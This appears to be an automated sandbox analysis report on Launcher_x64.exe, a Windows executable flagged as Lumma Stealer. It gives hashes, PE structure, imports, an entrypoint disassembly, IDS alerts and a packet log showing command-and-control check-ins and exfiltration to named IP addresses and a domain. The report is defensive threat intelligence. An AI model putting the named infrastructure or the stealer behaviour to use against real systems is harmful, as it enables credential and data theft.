	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.157.254 23.55.153.106

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Launcher_x64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:OP5n:Ox
MD5:	32EB8D44A0938FBB8E8E87029CA719D8
SHA1:	13856311E78A959973D96B17544931AF22347E61
SHA-256:	C769F4AA36C38983F94D6F4599EE0A3623EC8D244969B9A1E4F4B91E86C0FF9F
SHA-512:	A6895D557270E69BE20349875587783B310B1B5A6922643FEA92875AD3D0899BB7B08F6F2206DE97194DA6DB9DDA1DC4AAE7759ED5684D18B36B9ECEDF0EAEDC
Malicious:	false
Reputation:	low
Preview:	Enjoy!..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.528630059997768
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Launcher_x64.exe
File size:	575'488 bytes
MD5:	a467477e289901e8c45912f98fc56cd2
SHA1:	15be8446db31a669ee930bedf992ef558b121f7f
SHA256:	6a8a3c7873b18093245e953808bef419d56ba8d103eab96d276111ef59992c6f
SHA512:	3258d0d391def6a9a5da0385f6913a34c8df97c4669db14f5aa9516d2e2c619a40fbac5fa3db47f9caf9283f08763ea8b63d53f40933bdff41a92fcc0bc4b234
SSDEEP:	12288:dRIomkRJWzi7X+UeyZAU2kMCasPakyFqb80b0akd5:de/kRJWzib+UnApkasHyFKJbwd5
TLSH:	52C4D1017541C073DDA722B364BAD7AA4629F9100F626ACFA3580DBDDF351D1AB32B27
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....hg.........."......(...........p............@.......................... ............@.....................................<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4170bb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x676819F1 [Sun Dec 22 13:53:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1f5f01fd52677b24724028ad24992aa9

Entrypoint Preview

Instruction
call 00007F06D0D372EAh
jmp 00007F06D0D37159h
mov ecx, dword ptr [00440700h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F06D0D372E6h
test esi, ecx
jne 00007F06D0D37308h
call 00007F06D0D37311h
mov ecx, eax
cmp ecx, edi
jne 00007F06D0D372E9h
mov ecx, BB40E64Fh
jmp 00007F06D0D372F0h
test esi, ecx
jne 00007F06D0D372ECh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00440700h], ecx
not ecx
pop edi
mov dword ptr [00440740h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0043D914h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0043D8CCh]
xor dword ptr [ebp-04h], eax
call dword ptr [0043D8C8h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0043D964h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00441E50h
call dword ptr [0043D93Ch]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F06D0D3E918h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d6b4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x91000	0x3e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x44000	0x2324	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x39968	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35cf8	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3d860	0x170	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x326cc	0x32800	ccc71f71555262d04b28eeb13f33c694	False	0.5078125	data	6.449171689149143	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0xad9c	0xae00	265ca2e098c45dacae5fa86d5b3aa7cb	False	0.4167789152298851	locale data table	4.866718139159974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3f000	0x3618	0x2600	34a18fbac611bd450c331e8e8b0fc570	False	0.31270559210526316	data	5.125689677633356	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x43000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x44000	0x2324	0x2400	a5356144ed5fdf31d774488bfaa21264	False	0.7392578125	data	6.496424389763303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x47000	0x49c00	0x49c00	ae225876e09ff8a537f78908156a8879	False	1.0003343485169491	OpenPGP Secret Key	7.999366161518412	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x91000	0x3e8	0x400	64acc37535b725263869df252fd47b49	False	0.43359375	data	3.281274144562883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x91058	0x390	data	English	United States	0.4517543859649123

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

DefWindowProcW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T01:17:04.741497+0100	2058212	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)	1	192.168.2.4	61902	1.1.1.1	53	UDP
2024-12-23T01:17:36.641324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	193.143.1.9	443	TCP
2024-12-23T01:18:08.625788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	193.143.1.9	443	TCP
2024-12-23T01:18:11.813791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49765	23.55.153.106	443	TCP
2024-12-23T01:18:12.592732+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49765	23.55.153.106	443	TCP
2024-12-23T01:18:14.333543+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49772	172.67.157.254	443	TCP
2024-12-23T01:18:14.989615+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49772	172.67.157.254	443	TCP
2024-12-23T01:18:14.989615+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49772	172.67.157.254	443	TCP
2024-12-23T01:18:16.240837+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	172.67.157.254	443	TCP
2024-12-23T01:18:17.048776+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49777	172.67.157.254	443	TCP
2024-12-23T01:18:17.048776+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49777	172.67.157.254	443	TCP
2024-12-23T01:18:18.700426+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49784	172.67.157.254	443	TCP
2024-12-23T01:18:19.696798+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49784	172.67.157.254	443	TCP
2024-12-23T01:18:21.007739+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49790	172.67.157.254	443	TCP
2024-12-23T01:18:23.182176+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49795	172.67.157.254	443	TCP
2024-12-23T01:18:25.967597+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49801	172.67.157.254	443	TCP
2024-12-23T01:18:28.978081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49807	172.67.157.254	443	TCP
2024-12-23T01:18:32.629372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49818	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 01:17:05.308655977 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:05.308720112 CET	443	49730	193.143.1.9	192.168.2.4
Dec 23, 2024 01:17:05.308849096 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:05.314811945 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:05.314827919 CET	443	49730	193.143.1.9	192.168.2.4
Dec 23, 2024 01:17:36.641324043 CET	49730	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:37.036072969 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:37.036122084 CET	443	49737	193.143.1.9	192.168.2.4
Dec 23, 2024 01:17:37.036226988 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:37.036561012 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:17:37.036586046 CET	443	49737	193.143.1.9	192.168.2.4
Dec 23, 2024 01:18:08.625787973 CET	49737	443	192.168.2.4	193.143.1.9
Dec 23, 2024 01:18:10.421744108 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:10.421802044 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:10.421897888 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:10.422275066 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:10.422296047 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:11.813694000 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:11.813791037 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:11.816138029 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:11.816159010 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:11.816427946 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:11.860025883 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:11.869714975 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:11.911334991 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592766047 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592789888 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592833996 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592849970 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592871904 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.592885971 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592912912 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.592932940 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.592932940 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.592971087 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.789285898 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.789345026 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.789395094 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.789463043 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.789525032 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.818032026 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.818078041 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.818108082 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.818228006 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.820455074 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.820476055 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:12.820517063 CET	49765	443	192.168.2.4	23.55.153.106
Dec 23, 2024 01:18:12.820524931 CET	443	49765	23.55.153.106	192.168.2.4
Dec 23, 2024 01:18:13.052483082 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:13.052537918 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:13.052622080 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:13.053014994 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:13.053030014 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.333467007 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.333543062 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.335730076 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.335745096 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.336008072 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.337232113 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.337260962 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.337295055 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.989609003 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.989780903 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.989842892 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.990009069 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.990035057 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:14.990050077 CET	49772	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:14.990056992 CET	443	49772	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:15.029922962 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:15.029962063 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:15.030045033 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:15.030320883 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:15.030340910 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:16.240766048 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:16.240837097 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:16.242233992 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:16.242247105 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:16.242579937 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:16.244323969 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:16.244417906 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:16.244450092 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048773050 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048820972 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048851013 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048882008 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048909903 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048932076 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.048938036 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048969984 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.048994064 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.048994064 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.058931112 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.058989048 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.058999062 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.067791939 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.067842960 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.067852974 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.110075951 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.168405056 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.219393969 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.240679979 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244445086 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244474888 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244504929 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.244522095 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244577885 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.244586945 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244601965 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244647980 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.244772911 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.244786024 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.244810104 CET	49777	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.244816065 CET	443	49777	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.486963034 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.487013102 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:17.487092018 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.487531900 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:17.487545967 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:18.700272083 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:18.700426102 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:18.702168941 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:18.702178001 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:18.702421904 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:18.705090046 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:18.705286026 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:18.705316067 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:18.705384970 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:18.705393076 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:19.696809053 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:19.696902037 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:19.696962118 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:19.697150946 CET	49784	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:19.697185993 CET	443	49784	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:19.795064926 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:19.795125961 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:19.795221090 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:19.795620918 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:19.795639992 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.007531881 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.007739067 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.009485006 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.009496927 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.009727955 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.011373997 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.011512041 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.011543989 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.687660933 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.687752962 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.687802076 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.687994003 CET	49790	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.688009024 CET	443	49790	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.965187073 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.965229034 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:21.965377092 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.965850115 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:21.965866089 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:23.182028055 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:23.182176113 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:23.183936119 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:23.183959007 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:23.184201956 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:23.187469006 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:23.187649965 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:23.187701941 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:23.187798977 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:23.187824965 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:24.446329117 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:24.446414948 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:24.446599007 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:24.446732998 CET	49795	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:24.446783066 CET	443	49795	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:24.752310991 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:24.752343893 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:24.752424955 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:24.752748966 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:24.752763033 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:25.967533112 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:25.967597008 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:25.968862057 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:25.968866110 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:25.969206095 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:25.970298052 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:25.970383883 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:25.970390081 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:26.731838942 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:26.731933117 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:26.731992006 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:26.732156992 CET	49801	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:26.732172966 CET	443	49801	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:27.764811039 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:27.764842987 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:27.764915943 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:27.765505075 CET	49807	443	192.168.2.4	172.67.157.254
Dec 23, 2024 01:18:27.765516043 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:28.977984905 CET	443	49807	172.67.157.254	192.168.2.4
Dec 23, 2024 01:18:28.978080988 CET	49807	443	192.168.2.4	172.67.157.254
